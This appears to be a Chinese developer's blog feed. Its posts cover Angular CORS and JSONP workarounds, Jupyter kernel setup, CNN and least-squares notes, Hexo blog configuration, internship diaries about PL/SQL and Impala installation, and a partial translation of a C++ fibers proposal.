1 | Failed to load https://api.douban.com/v2/book/isbn/7101003044: No 'Access-Control-Allow-Origin' header is present on the requested resource. Origin 'http://localhost:4200' is therefore not allowed access. |
我们首先来介绍一下跨域的概念:
首先说同源策略。同源策略是由网景公司引入浏览器的,目前基本所有所有浏览器都实行这个政策。这个策略是为了防范两个网页之间的cookies等不能混用,以防被恶意窃取信息。这是一个用于隔离潜在恶意文件的重要安全机制。在现在,受限制的行为包括:
在浏览器中,非同源的页面是没法完成上面的行为的。如果两个页面的协议,端口(如果有指定)和域名都相同,则两个页面具有相同的源。
在我们这个情境下,我希望在我的主机给 api.douban.com
发送一个AJAX请求,这明显是跨域的。所以就出现了上面的报错。
Angular 解决跨域请求访问的方法包括以下几种:
CORS是目前来说推荐使用而且也用得最多的一种方式,是 HTML5 规范定义的如何跨域访问资源。然而显然它需要服务器做出一定的配置以允许跨站请求,无奈只得作罢。
对于跨文档消息传递,需要我们传递消息之后,页面也有消息返回才能接收到信息,所以也被刨去。WebSocket也是因为同样的理由被刨去。
在没有服务器端的配合情况下,大概也只能通过Angular-cli代理的方式来来进行访问。这是使用了webpack
的devServer的proxy,因此只能在Angular的开发环境下使用。
proxy所做的事情是简单地拿到浏览器的请求,然后把它交给我们所设置的API服务器。
我们可以在package.json
的同一目录下新建一个文件proxy.conf.json
:
1 | { |
然后我们可以修改angular.json
添加一个proxyConfig
字段,或者使用一个
1 | ... |
或者我们可以直接通过ng serve --proxy ./proxy.conf.json
来启动项目。为了使用这个,我们可以在package.json
中对npm start
的命令做出修改。
但是这样的方式只适用于dev环境而不是production环境,偏偏我还希望在prod环境下部署使用(vendor.js
太大了)。没办法最后我只能选择JSONP协议。
在前面所说的常用方法CORS中,还有一个限制是,对于一些适配IE或更早期浏览器的网址,并没有设置CORS的方式。对于这些古老的网站,它们给出的解决方案就是JSONP协议。
JSONP是一种跨域数据交互的协议。它的主要想法是,我们有使用其它域的图片、JS、CSS文件的时候,这些并没有构成跨域请求,因为这个行为并非Ajax是没有受到限制。那么我可以通过一些标签的src
属性来获得相应的内容就好了。
我们假设接到的数据是JSON格式的。然后我们可以在接到的数据外包一层像是函数调用的东西,让整个内容看起来是一个Javascript
的脚本,这样就能获得正确的JSON数据了。
豆瓣的API是支持JSONP协议的,它们的关键字是callback。可以尝试访问https://api.douban.com/v2/book/isbn/7544244261?callback=somefunc
:
1 | ;somefunc({"rating":{"max":10,"numRaters":1466,"average":"8.8","min":0},"subtitle":"","author":["[波]显克维奇"],"pubdate":"2009-5","tags":[{"count":816,"name":"历史","title":"历史"},{"count":693,"name":"宗教","title":"宗教"},{"count":504,"name":"小说","title":"小说"},{"count":416,"name":"外国文学","title":"外国文学"},{"count":338,"name":"显克维支","title":"显克维支"},{"count":330,"name":"基督教","title":"基督教"},{"count":234,"name":"波兰","title":"波兰"},{"count":216,"name":"波兰文学","title":"波兰文学"}],"origin_title":"Quo Vadis","image":"https://img3.doubanio.com\/view\/subject\/m\/public\/s3942663.jpg","binding":"平装","translator":["林洪亮"],"catalog":"`","pages":"467","images":{"small":"https://img3.doubanio.com\/view\/subject\/s\/public\/s3942663.jpg","large":"https://img3.doubanio.com\/view\/subject\/l\/public\/s3942663.jpg","medium":"https://img3.doubanio.com\/view\/subject\/m\/public\/s3942663.jpg"},"alt":"https:\/\/book.douban.com\/subject\/3733083\/","id":"3733083","publisher":"南海出版公司","isbn10":"7544244261","isbn13":"9787544244268","title":"你往何处去","url":"https:\/\/api.douban.com\/v2\/book\/3733083","alt_title":"Quo Vadis","author_intro":"显克维奇(1846—1916)1905年诺贝尔文学奖得主,波兰著名作家,在全世界享有巨大的声誉,其代表作《你往何处去》、《十字军骑士》等作品已被译成40多种语言。","summary":"《你往何处去》是闪耀于世界文学长廊的璀璨明珠、历史小说领域的巅峰杰作,作者以史家的视角、文学的手法为我们再现了基督教兴起与罗马帝国瞬间衰落的历史真相。该书在20世纪末的末世悲凉气息中首次出版,甫一问世便奇迹般受到读者热烈欢迎,迅速被翻译成英、德、俄、法等40多种文字。《你往何处去》将一对深情男女置于罗马帝国对基督徒残酷镇压的大背景之中,用小说的笔法入木三分地刻画出保罗、彼得、皇帝尼禄等众多历史人物,以史笔栩栩如生地展现基督教在兴起时期受到世俗力量血腥镇压的历史真相。罗马大火与使徒殉道,既将小说推向了高潮,又深邃地揭示了罗马帝国衰落的历史密码……","series":{"id":"1054","title":"新经典文库·桂冠文丛"},"price":"29.80元"}); |
可以看到的是,在返回的响应中,原本的JSON数据被用一个somefunc
包裹了起来。然后我们只需要实现定义一个somefunc
就能处理这个JSON数据了。
之后我又幸运地发现了Angular是有JSONP的支持的。我们可以这样使用:
1 | func (isbn: string) { |
Angular的http.jsonp
会自动生成一个函数名,然后通过上面所说的方式来获得JSON数据,然后
然而在实际使用的时候,我们会发现这样恐怕还是不行。这个问题还是只出在豆瓣的API上,对于其它支持JSONP的API应该都能使用类似上面的代码。
出错的原因是Angular生成的函数名是类似于__ng_jsonp__.__req0.finished
这样的格式。然后我们可以去访问一下豆瓣的API https://api.douban.com/v2/book/isbn/7544244261?callback=__ng_jsonp__.__req0.finished
。我们会发现,返回的结果中并没有callback
函数的内容,看起来豆瓣这里并没有对特殊字符做处理,这导致了Angular JSONP请求的失效。
一通搜索,但是没有找到改动这个JSONP请求函数名的方法。无奈只好自己实现一个JSONP的服务了。
这个基本上原理就是上面所说的原理,这里只是贴出代码实现了。
首先是生成一个callback的函数名,并构造url:
1 | const hash_str = Md5.init(isbn); |
这里的apiRoot
是https://api.douban.com/v2/book
。然后构造的方式就是jsonp_<isbn的md5值>
,当然这个东西完全可以随意。
然后定义这个函数,我们要怎么处理接收到的数据。因为我写成了Promise
的形式,所以就传给resolve
变量就好。
1 | window[callbackName] = res => { |
然后构建script
标签,并挂到document里。
1 | const scriptElem = window.document.createElement('script'); |
做一个错误处理(我们这里会出现的错误其实就是isbn
不正确的时候会有404啦)
1 | scriptElem.onerror = () => { |
当然我们还可以做得更好,比如在请求成功或失败之后都移除这个标签,并且通过delete window[callbackName]
来删除我们定义的callback之类的。
至此这个问题总算是最后解决了,还是非常曲折的。
完整的代码可以在这里看到。
]]>jupyter notebook
中使用python3.6
的内核(因为TensorFlow
还没有对Python 3.7
的支持)。所以大概就有了这篇博客。无论何时,要了解一个命令最简单的方式当然是查看帮助文档。
1 | C:\Users\ciaran>jupyter --help |
从中大概可以看到,在jupyter
的子命令中,与kernel
有关的只有:kernel
和kernelspec
。而kernel
是用于Run a kernel locally in a subprocess
的子命令。
所以我们就能看到jupyter的kernelspec的的用处,这正是我们所需要调整的内容。
1 | C:\Users\ciaran>jupyter kernelspec --help |
首先查看jupyter中kernel
的设置的位置:
1 | C:\Users\ciaran>jupyter kernelspec list |
然后用文件管理器打开这个文件夹d:\python37\share\jupyter\kernels
,这个文件夹中只有一个文件夹也就是python3
,那么想必这就是一个kernel specification directory
了。
看一看里面的结构,发现只有一个json文件kernel.json
和两个Python的图标:
1 | { |
复制一份重新命名,并修改这个kernel.json
。
把它改为python3.6
版本:(argv中的命令是因为我已经将python3.6的可执行文件重命名为python36
且将相应的目录添加到Path中了,如果没有这么做,那么在这一栏还需要完整填写python3.6的路径)
1 | { |
但是这样做了之后我们还不能得到在kernelspec中的结果。我们还需要在kernelspec
中安装它。
1 | C:\Users\ciaran\Desktop\mlLearning>jupyter kernelspec install D:\Python37\share\jupyter\kernels\python36 |
这个时候我们就可以在jupyter notebook
的图形界面上看到出现了一个喜闻乐见的Python3.6
。
但是现在这个kernel
是不能用的,因为我们还没有在python3.6
上安装ipython kernel。
1 | python36 -m pip install ipykernel |
此时我们就能在jupyter中正常使用python 3.6的内核了。
除了应该查帮助文档,查官方文档也是一个很应该的做法。
官方文档的方式比上面那一套意义不明的操作简单得多。前置条件是安装ipykernel
1 | python36 -m pip install ipykernel |
然后直接通过这条命令:
1 | python36 -m ipykernel install --user --name myenv --display-name "Python (myenv)" |
结果是看到它在系统的目录中多了一个kernel。
1 | C:\Users\ciaran>jupyter kernelspec list |
可以看到的是在系统的这个目录中生成的json文件与我们之前修改的文件几乎一模一样,而且也能在图形界面中使用它了。
使用虚拟环境的python作为jupyter kernel的方式也跟这个过程类似,包括使用Anaconda的环境也是如此
]]>To be continued
的状态。你知道如何取ODE的微分吗?你会感到惊讶的!
什么是常微分方程(ODE)的导数?你也许会感到困惑。一个ODE不是被定义为 $u’=f’(u,t)$ 吗?那么任意一个ODE的积分都应该是 $f$ 啊!当然,这是正确的,但是如果我们在我们的ODE种有参数$p$,我们有$u’=f’(u,p,t)$,然后我们再来考虑这个参数在ODE解中的敏感性会如何?
说到导数和灵敏度分析,让我们回顾一下多变量函数的导数。当我们有函数$ f:R^n \mapsto R^M$,我们就能得到一个雅可比矩阵。当我们有函数$ f:R^n \mapsto R $,然后我们能得到梯度向量。类似地,我们也可以获得ODE的雅可比矩阵或梯度向量,并把它们分别称作前向灵敏度分析(forward sensitivity analysis)和伴随灵敏度分析(adjoint sensitivity analysis)
一般来说,$p$ 和 $u$ 都是向量,所以 $\frac{\partial u}{\partial p}$ 是一个雅可比矩阵。我们有:
$$
\frac{d}{dt} \frac{\partial u}{\partial p} = \frac{\partial f}{\partial u} \frac{\partial u}{\partial p} + \frac{\partial f}{\partial p}
$$
]]>To be continued…
首先介绍一下经典的神经网络LeNet-5
,接着简单地列了一下CNN的基本结构,之后还打算详细地写一下它们的细节。
卷积神经网络(Convolutional Neural Network, CNN)是一种前馈神经网络。
这其中最经典的一种就是LeNet-5
。
LeNet
在论文中是用于手写数字识别,里面的结构大概如下:
Input: 0-9数字的$ 32\times32 $手写数字图片。
C1: 卷积层1。选择了六个$5\times5$卷积核。使每张图片生成总共 $6\times(32-5+1)\times(32-5+1) = 6 \times 28 \times 28$ 个像素点的新图片。
S2: 池化层2。在上一层的基础上进行池化,每$(2,2)$个元素取一个元素,使得对于最初的每张图片生成总计 $ 6 \times 14 \times 14 $ 个像素点的新图片。
C3: 卷积层3。再上一层基础上进行两次卷积,得到对于最初的每张图片生成 $16$ 张 $10 \times 10$ 的新图片。
S4: 池化层4。再次池化。每$(2,2)$个元素取一个元素,使得对于最初的每张图片生成总计 $ 16 \times 5 \times 5 $ 个像素点的新图片。
C5: 卷积层5。使用与C1同样的卷积核,卷积后形成的图的大小为1x1。这里形成120个卷积结果。
F6: 全连接层6。
Output: 也可以视作一个全连接层。输出0-9。
使用LetNet
的目的并不只是因为它很重要,而是借此说明CNN的基本组件,并希望依次地做个介绍。
另外值得一提的是,在这个神经网络中各个图像大小参数是否有很特别的意义,这是没法说明的。这也是令人诟病的地方。
卷积的目的就是为了进行特征提取。基于这种目的有人把它叫做滤波器。
卷积核是一种特定大小矩阵,它的作用是提取出图像更高维的特征,一个卷积核代表一种特征提取方式。
通过设计不同的卷积核能从图片中获得不同的特征,然后我们在神经网络中对这样的卷积核进行训练以便获得更能体现图片的特征。
所以我们最初需要给定一个特定大小(在LeNet-5
种为$5\times5$)的矩阵,然后由反向传播算法改进这个矩阵内的值。
卷积需要的参数:
步长指上面说得卷积核每次在图像上移动的像素数。我们也可以使矩阵每次移动多步。但是这样我们生成的图像就会变小。
边界指在进行卷积时在边界上补出一圈0的点以保证图片的大小不发生变化。
设卷积核的某一边的长度为 $f$,padding为$p$, stride为$s$。原始的长度为$n$,经过卷积之后的矩阵长度为$n’$。那么:
$$
n’ = \lfloor \frac{n+2p-f}{s} + 1\rfloor
$$
在LeNet
中步长是1,边界是0,也就是最经典的一种卷积方式了。
也称下采样层。其实也就是以一定规则从一定大小中提取出某一个像素。用于减小尺寸,提高运算速度的,同时也可以减少噪声。
常用的有平均池化与最大池化。
与池化相关的参数包括 步长s
和过滤器大小f
。设原始矩阵一侧的长度为$n$,经过池化之后的矩阵长度为$n’$。
$$
n’ = \lfloor \frac{n-f}{s} + 1\rfloor
$$
除了上面所述的池化外,也有池化的其它方式,如: Stochastic-pooling
, Overlapping Pooling
, Spatial Pyramid Pooling
。
全连接层指的是在该层所有的节点都与上一层的每个节点相连。
全连接层其实可以视作是一个特殊的卷积层,因为这就是使用$1\times1$矩阵作为卷积核所能提取的特征值。
设上一层节点i的值为$x_i$,本层节点的值为$a_i$,连接上一层节点i和该层节点j的边权重为$w_{ij}$,在转到该层之后偏移$b_i$。基于这些符号,可以列出这样的式子。
$$
A = WX + B
$$
MathJax
的问题,最终没有完成于是意识到我可能需要记录一下自己在博客里折腾了什么,不然到时候自己都没法管控自己的博客就贻笑大方了。我期望我的博客能到达以下的要求:
托管博客。我并不想有太多的管理工作。
电脑端与移动端都能访问的美观页面。美观不解释,颜值即正义。而且因为大多数情况电脑不在身边才会偶尔看看别人的博客,因此需要同时满足手机和电脑访问都能得到较好的界面。
RSS订阅功能。支持RSS是一种美德。
一个国内能访问到的评论系统。(请留给我一种假装博客会有人评论的错觉)
支持MathJax
。因为有很多的情况都需要写一些数学的公式,所以比较希望能渲染数学的公式
内容充实。我希望我写的博客内容会不显得那么水。
最开始的时候,我是在服务器上搭建的博客,只不过在当时实在也没有写过几篇博客。究其原因的话,除了我懒,还可能是因为在服务器上写实在太麻烦。首先我需要在下面写好文件,然后scp文件过去,ssh登录,在一个不出名的端口启动预览,再正式地重启服务。
无论怎么说,这个流程也太麻烦了,我只是想要一个静态的博客系统而已,不至于花费这么多精力对待它。
于是我开始尝试使用博客园
,在上面写博客。博客园上各种功能都是齐全的,只是我自己还觉得要发布一个博客还得登到一个界面里,而且修改的话还得一个个地改动,更为繁琐。
最后决定整个博客移到Github pages
上。静态博客生成器使用的是Hexo
。这样我只需要写Markdown然后进行发布就足够了。再之后,就是域名重定向到自己的域名,也即blog.ciaran.cn
上了。关于Github pages
域名的重定向可以参照帮助文档。
上面所说的站点的需求中,移动端访问与美观问题都是通过更改Hexo
的主题来解决的。Hexo
上使用最多的主题无疑是NeXT
,而且也符合我上面所说的要求,但是毕竟还是想追求一些与众不同的东西。
最初选用的主题是Yelee
。这是一个很酷炫的主题。有很多的功能,而且也有很多好玩的加载效果,甚至包括Markdown的一些格式都能定制。一看界面就觉得五颜六色很厉害的样子。如果有人问我推荐什么比较好的Hexo
主题的话,我大概还是会说推荐使用Yelee
。
放弃使用Yelee
的原因是审美的改变。大概觉得五颜六色,动态效果都并非是美,反而分散了原本对文章的注意力,所以打算换用一个简洁有力的主题maupassant
,也就是现在的这个主题。界面上没有多的颜色也没有太多的按钮,然而我觉得这就已经够了。
因为maupassant
已经提供了RSS的页面接口也即右上角指向/atom.xml
的标签,所以我们只需要安装hexo-generator-feed
这个包:
1 | npm install --save hexo-generator-feed |
然后修改博客自己的_config.yml
文件,添加这个插件:找到Plugin一行,添加:
1 | plugin: |
在下面添加feed
选项,并配置插件的属性。
1 | # RSS |
评论最开始使用的当然是Disqus
。之后由于不可描述的原因,换成了使用韩国的livere
(来必力)服务,主要是能连通社交工具,而且也有对评论服务的优化。直到有一天发现,原来在国内是根本没法加载出评论的…而我之前一直开着代理居然完全没有发现这一点。而我写中文博客总不能指望有太多墙外网络环境的人来评论。
于是换用了一个小众的评论服务Valine
,它是基于LeanCloud
的评论服务。这个好处在于它的UI风格与maupassant
的界面风格非常相似(都是黑白之外没有太多颜色),而且完全是自定义的服务。但是坏处也很明显:那就是没有连通社交网络,昵称什么的都需要评论者自己输入,让人很难提起评论的愿望。
Hexo
默认的渲染引擎是marked
,我们需要使用kramed
来渲染MathJax
。然后用hexo-renderer-mathjax
代替hexo-math
。
1 | npm install hexo-renderer-kramed --save |
照理来说,这样就已经完成了对MathJax
的基本的设置了。但是对于一些主题来说,我们还需要在文章中指定mathjax: true
选项(比如说maupassant
),具体参照主题的文档。
在node_modules/hexo-renderer-kramed/lib/renderer.js
中修改解析美元符号的代码:
1 | function formatText(text) { |
改为
1 | function formatText(text) { |
在node_modules/kramed/lib/rules/inline.js
中修改解析*
与_
的代码:
1 | escape: /^\\([\\`*{}\[\]()#$+\-.!_>])/, |
改为
1 | escape: /^\\([`*\[\]()# +\-.!_>])/, |
下方还有一处
1 | em: /^\b_((?:__|[\s\S])+?)_\b|^\*((?:\*\*|[\s\S])+?)\*(?!\*)/, |
改为
1 | em: /^\*((?:\*\*|[\s\S])+?)\*(?!\*)/, |
博客的内容应当以学过了解过思考过的内容为主。参照一下原则:
周一主要还是在继续第一周的配置环境。安装impala,感觉就是我本身对集群的配置就完全不清楚,让我在不清楚配置的集群上安装服务简直是有点强人所难。
安装impala我在当天中午就没有继续了。不过这是一个玄妙的大坑,在下面我会再提到它。
在下午章主管先是私下与我沟通,之后开会分配了任务。我将负责一个根据数据分析公司风险的项目。(当然我认为在我实习期间恐怕只能做出来开头)
这段时间去尝试做章主管分配的任务。说实话以我对PLSQL语法的程度,估计写一个基本的查询都费劲。这后面的时间我一直都可以被认为在熟悉PLSQL怎么写。主要是我对于如何存储中间的变量存在疑惑。
这是一个大问题。因为面对的是大量的数据,有可能内存也放不下中间的存储结果。潘哥给出的答案是使用中间数据表,这样用物理存储代替内存被消耗,只是效率会比较低,然而对于仅仅做数据分析来说,这样是完全足够的。其实还有一种解决方案是通过cursor和pipeline function来小部分地去取用数据,但是恐怕写起来就有点费劲了。
曾姐安排的任务就是熟悉数据,其实我是非常感激这样的用意的。因为我对公司整体的业务流程和现在表中数据的情况意义一无所知。有这么几天一脸懵逼的时间才知道遇到的难题是什么,除了数据量大之外,大概就是数据的质量问题了。比如数据文档中非空的字段会有空值,比如数据中会出现在规定值以外的值,比如完全意义不明的拼音缩写列。
怎么说,PLSQL算是学到了不少,发现PLSQL有些地方还是能说得过去的:
rank() over()
语法周五大概觉得自己恐怕毫无希望完全掌握PLSQL语句,于是开始打算走一点歪门邪道。
最初是打算直接自己写一个访问数据库的界面来作为最终的成品,从而能有一些处理语句可以不必在PLSQL中实现。但是被告知此阶段最终的成品应该是一个可供其他人使用的表,而且代码形式应该是以存储过程的方式出现之后打消了念头。
于是又打算通过ORM的库比如SQLAlchemy
来输出SQL语句。因为我恐怕对这种形式的SQL可能更好理解,也能避免出现一些诡异的语法问题。不过最后还是没有完全实现。
这一天开始写一个求平均值的PLSQL语句。数据的存储方式是记录变更点。
这对于使用其它语言来说,不算是艰巨的任务。但是对于我并不熟悉的PLSQL,大概就比较伤神了。前前后后各种修修补补,花了一天总算搓出来了。
嗯,然后第二天被告知这个平均值是有表的,直接从表中取就行了哦。(掀桌子)
之前部署的impala的同事再次让我帮忙,而我又基本没思路写PLSQL了,于是打算先开始帮着部署这个服务。怎么说呢,这是一个遗留的问题。
最初搭建这个集群的人据说是一位中科院的大佬。然而怎么说,有一些遗留的问题,而且最初也没找到留下的文档。总的来说都是一些版本相关的问题,最初我真的完全不知道原有的版本是什么,直到后来才慢慢意识到。
首先是yum源中没有impala包文件的问题。
从外网中下载相应的impala包文件,然后回来用createrepo
指令更新源信息,从网上下载的。这时还出现了由于zlib版本不一致导致的yum失去响应的问题,通过统一软连接解决。
ssh免密登录的问题
写了一个脚本来完成。其中利器是expect
命令。
ambari-impala-service 的 JAVA_HOME 问题
我们在ambari中安装impala服务所使用的是中科院出品的这个服务,说实话是很好用,只是有几个小问题,然而就被几个小问题给卡住了。
首先可能是因为写这个文件的时候设计是JDK配置在/usr/jdk64/
这个文件夹下,但是在这个集群中并不是如此,所以每一次安装都需要在/etc/default/bigtop-utils
中重写JAVA_HOME变量。
链接hbase相关的jar包的问题
impala需要hbase的jar包作为支持,但是在上面提到的ambari-impala-service
的安装脚本(package/template/init_lib.sh.j2
)中链接了其它的jar包却没有链接HBase相关的jar包。所以还需要手动地链接HBase的库。(我想是因为在这种服务中没法确定HBase的jar包的位置)
impala版本的问题
最初下的是cdh-5.15.0
的impala的rpm包。(因为上面ambari-impala-service
没有指定cdh5的版本,所以下了最新的)
然后impala莫名其妙崩溃了,报错显示 core dumped failed
,要更改上面ambari-impala-servce
中启动选项(package/template/impala.j2
)中的ENABLE_CORE_DUMPS
为true以显示报错信息。
报错信息是某个impala-2.12-cdh5.15.0
的issue(但是我没记住),总之在那之后就决定重新换到impala-2.6.0-cdh5.8.0
。于是再次下载包文件,用createrepo
更新不提。
删除ambari服务的问题
要删除某一个ambari服务需要首先暂停所有服务,然后通过DELETE方式向某个API(/api/v1/clusters/<cluster-name>/services/<service-name>
)发出请求。
但是这样删除并非完整,只是在ambari中删除了这个服务,但是实际上rpm包仍旧没有被删除。在之后的两天一直被没有完全卸载的impala版本之间折磨着。直到发现,啊,原来还是需要手动删除rpm包的。方才完全用上了新的impala。
jar包版本的问题。
这是一个在文档中说明了的问题,需要下载特定版本(也即cdh-5.8.0
的)Hbase的jar包,重新连接。
当然在这几天还是写了一些为了快速配置而使用的脚本的,不过用时实在说不上长,所以就不提了。
主要是要了解一下业务流程,知道数据从何处去取。然后考虑的是一个数据清洗的问题。对于PLSQL,实在太不熟悉,还需要重新看看它的语法。
]]>介绍一下如何求解最小二乘法问题。于是查看了一下Numpy中是如何求解最小二乘法问题的,也即numpy.polyfit
函数的代码,一路追下来之后,发现最终使用了LAPACK的ZGELSD方法。它们之间的调用顺序如下:
1 | numpy.polyfit -> numpy.lstsq -> numpy.linalg.lapack_lite.zgelsd |
而实际上,在LAPACK中,存在四种求取实数最小二乘法的方式:
ZGELS
ZGELSY
ZGELSS
ZGELSD
首先让我们来简单描述一下问题。我们需要解的是这样一个方程:
$$
Ax = b
$$
在这个式子中,我们可以认为$A$是一个$m\times n$的矩阵,$x$是一个$n\times 1$的矩阵,那么$b$就是一个 $m\times 1$的矩阵了。
我们期望根据给出的一组A和b,求出相应的x。
我们现在所要面临的就是一个超定问题,由于原方程可以理解为用A的列向量来线性地表示b,而对于超定问题,b根本不在A的列向量张成的线性空间中,则这个方程根本没有办法获得精确解,在这时我们就需要求得最小二乘解,也即求使得误差$ J = \sum_{i=1}^N{(Ax_i - b)^2} $ 最小的$x$。因为2-范数$ |x|2 = \sqrt{\sum{i=1}^N{x_i^2} }$,所以我们的求解目标常常写作:
$$
min_x|Ax-b|_2^2
$$
其实也就是解上面这个式子,得到的结果称为最小二乘解。
最主要的问题就在于解决不同维度矩阵相乘除的问题。
最初的想法肯定是左右同时乘除一个矩阵使得某一边成为方阵可以进行求逆处理:
$$
A^HAx = A^Hb \
x = inv(A^HA)*A^Hb
$$
我们可以照着这个用Python写一下代码:
1 | import numpy as np |
1 | [[5 1] |
上面代码的结果应该是两个小于1e-15的数字,这样说明在这个程序中我们的结果还算比较好。
但是这种直接通过$A^HA$的方式求解问题的解法有很大的不稳定性。(我们可以随便换换A和x,就能看到结果的波动了)
这个方法是指使用QR分解求最小二乘解。
对上面问题中的A进行QR分解:
$$
A = QR
$$
其中Q是一个半正定矩阵,满足 $ Q^HQ = I $,其大小应为 $m\times n$。R是一个 $n \times n$ 的上三角矩阵所以我们可以把原本的式子写成这样:
$$
Q^H A x = R x = Q^Hb
$$
然后:
$$
x = inv(R) * Q^H *b
$$
简单的Python代码:
1 | q, r = np.linalg.qr(A) |
1 | [[-4.4408921e-16] |
所谓SVD指下面这种分解,将矩阵分成:
$$
A = U \Sigma V^H
$$
其中$ U, V $分别是$m \times m,n \times n$ 的酉矩阵, 而$ \Sigma $是$m\times n$的除了对角线元素外全为0的矩阵。
为了简便起见我们把矩阵表示为:
$$
\Sigma = \left[\begin{matrix} S \ 0 \end{matrix} \right] \
U = \left[ \begin{matrix} U_1, U_2 \end{matrix} \right]
$$
其中S为 $n \times n$的对角矩阵, $U_1$为 $m\times n$ 的矩阵,$U_2$ 为 $ m \times (m-n)$的矩阵。
如此我们可以列出这样的式子:
$$
\begin{aligned}
J &= |Ax - b|_2^2 = \left|U \left[\begin{matrix} S \ 0 \end{matrix} \right] V^Hx - b \right|_2^2 \
&= \left|\left[\begin{matrix} S \ 0 \end{matrix} \right] V^Hx - U^H b \right|_2^2 \
&= \left|\left[\begin{matrix} SV^Hx \ 0 \end{matrix} \right] - \left[\begin{matrix} U_1^Hb \ U_2^Hb \end{matrix} \right] \right |_2^2 \
&= \left|\left[\begin{matrix} SV^Hx - U_1^Hb \ -U_2^Hb \end{matrix} \right] \right |_2^2 \
&= \left|SV^Hx - U_1^Hb\right|_2^2 + \left| -U_2^Hb\right|_2^2 \ge \left| U_2^Hb\right|_2^2
\end{aligned}
$$
因为2-范数大于等于0,由上式可以得到误差$J$最小只能为$ \left| U_2^Hb\right|_2^2 $,且仅在:$ \left|SV^Hx - U_1^Hb\right|_2^2 = 0$,也即$ SV^Hx = U_1^Hb$ 时成立。
可以根据上面求出$x$为:
$$
x = \left(SV^H\right)^{-1}U_1^Hb
$$
]]>这篇博客的
MathJax
花了我比较多时间来Debug…最后发现少写了一个下划线
下午前去报到,大约只是熟悉了一下环境。由潘哥首先带我。潘哥给介绍了组内的基本情况。然后首先是让我尝试安装Oracle Linux
,基本上是等待虚拟机接近一个小时的读条,也是借机再翻了一下关于Oracle的概念,在此前是被潘哥问的PLSQL的关键字和函数一脸懵逼。所以赶紧临时查了查。
上午潘哥交给我一个SQL脚本,大致是一个求坐席数量估计。通过这个脚本了解到大致的数据分析问题的模型。首先是将所有所需的数据都抽取出来,然后再在一个表内进行查询。
其实这里关于数据的临时存储我觉得有些疑惑,潘哥所使用的方式是不断新建表格然后delete,这样的花销应该会比直接使用PLSQL变量会更大。问过之后也说是习惯的问题。(大概分析的话,性能不是非常重要?)
之后还被出了一个关于UPDATE的问题作为思考。大致整理一下问题是这样的:
如何令如果表A和表B的 condA和 condB 列相等时,令表A的数据列 colA 更新为表B的数据列 colB?
最初写的update语句是这样的:
1 | update A set A.colA = (select colB from B where A.condA == B.condB); |
但是这样是错误的,因为这个语句的作用范围是对A中的所有记录都实现了的。所以对于没有匹配上A.condA == B.condB
的语句。此时select colB from B where A.condA == B.condB
的结果是NULL
,而我们就直接地赋给了A.colA
。这会使得原本有数据但是未匹配上的colA的数据的丢失。所以正确的SQL语句应该是
1 | update A |
周二下午被安排了一个任务是修改kettle的作业配置文件。原本做法是要在kettle的GUI界面里进行鼠标点击的配置,然后总共需要配2k多张表结构的文件。我感到非常绝望,于是决定写个脚本进行自动化。之后大概是花了一天的时间,堪堪达成目的。其中遇到了一些问题。
首先是解析xml文件。kettle的配置文件都是xml格式的。最初是直接使用python的xml库,但是对于其中的三种解析方式我都不是非常熟悉,之后就换用了BeautifulSoup
。在这里又遇到了不知道如何将文本转换为Tag
对象的尴尬,幸而效率不是非常重要,因而直接使用BeautifulSoup
再解析一遍字串然后append
进去就好。
之后是SQL文件的解析问题,因为只给了一个表名,而我必须从SQL文件中找出这个表的定义。我最初想到的就是sqlparse
直接解析整个sql文件。但是我发现这样的时间花销也太长了,所以我决定还是通过正则式对文件进行格式化之后,直接按特定格式读文件。
然后是一个坑:也就是XML当中的空白字符其实是有意义的。我最初使用了BeautifulSoup.pretiffy
方法,使生成的xml进行了格式化,最后所有textnode
的名称都没有对应上。但是就因为下面遇到的问题,让我一直没有发现。
另外实际上kettle的XML当中的特殊字符编码也是一个很大的问题。因为要避免SQL语句中出现<
符号干扰xml的语法,所以在kettle中直接就将所有的非英文字符变成了 HTML Entity
的NCR编码。中文字符的出现不会对kettle解析xml造成影响;而使用BeautifulSoup
解析之后XML中的NCR编码直接又变成了中文字符。最后是重新写了一个脚本用正则剔掉了所有中文换成NCR,当然这个脚本最后没有用上就是了。
(现在回头想想这种程序也能用掉一天也是很惭愧。
这两天的效率十分低下,因为在配置环境;而且居然要两个人同用一台电脑就很痛苦。
首先是安装hue,讲道理是异常简单的一个工作,但是因为是两个人使用同一个而且我根本不熟悉各个主机上的配置,花了大概一天。
只有一个坑,需要额外改Hadoop的配置使得hue能访问到hdfs中的文件。然而由于hue与Hadoop之间的整合做的不是很好,hue没法及时获取Hadoop的改动,所以改了配置之后Hdfs的NameNode还需要重启一下。
之后再装Impala。最初的方式是通过Ambari的web界面进行安装,然后就发现了巨坑。这个Ambari之前的yum源没有配好原来,而且缺了一大堆包;无奈企业内网不能直接从网上进行同步,只好从外网下好包文件再用U盘拷到内网并配置源。这个过程需要更新原有的repo数据,也即在源中的repodata/repomd.xml
文件,使用createrepo
命令就能做到这一点。
不过总之这两天倒是查了不少资料,对于一些基本的概念也算有所了解了,收获也不小。
讲道理是有点失望。这一周里没有碰到什么核心的工作,数据分析建模的部分基本没有遇到。而且后两天工作中感觉有些敷衍,同事只要能跑起来就行的态度让我感觉会有一些隐患。
对于kettle的调度问题我不知道所使用的方式是什么,但是原生的调度恐怕花销就有点太大了。这是一个风险,但是好像没有怎么重视这个问题,也不知道是不是我没有接触到的原因。
大数据这个部分怎么说,感觉相当混乱…没有过程也没有组织。存在一些问题:
文档翻译自N4024-open-std
本文的目的是指出即将提出的将纤程引入C ++标准库的建议; 简要描述所提出的纤程库中的特征; 并将其与N39856 [^6] 中提出的协程库进行对比。
希望这种比较有助于澄清提出的协程库的特征集。 某些特征正确地属于协程库; 其他概念相关的功能更适合属于纤程库。
一个协程库最初是在N37084[^4]中提出的; 该提案随后在N39856中进行了修订。 随后的一些讨论表明,为了完善协程提议,这可能对作者消除纤程库的概念空间和协程库的概念空间中的歧义来说很有用。
就本文而言,我们可以将术语“纤程”视为“用户空间线程”。纤程启动后,理论上可以有一个独立于启动它代码的生命周期。纤程可以从启动代码中分离出来;或者,一个纤程可以连接另一个。纤程可以睡眠,直到指定的时间或特定的持续时间。多个概念独立的纤程可以在同一内核线程上运行。当纤程阻塞,例如等待尚不可用的结果时,同一线程上的其他纤程会继续运行。 “阻塞”纤程隐式地将控制权转交给纤程调度器,以分派一些其他的马上可以使用的纤程。
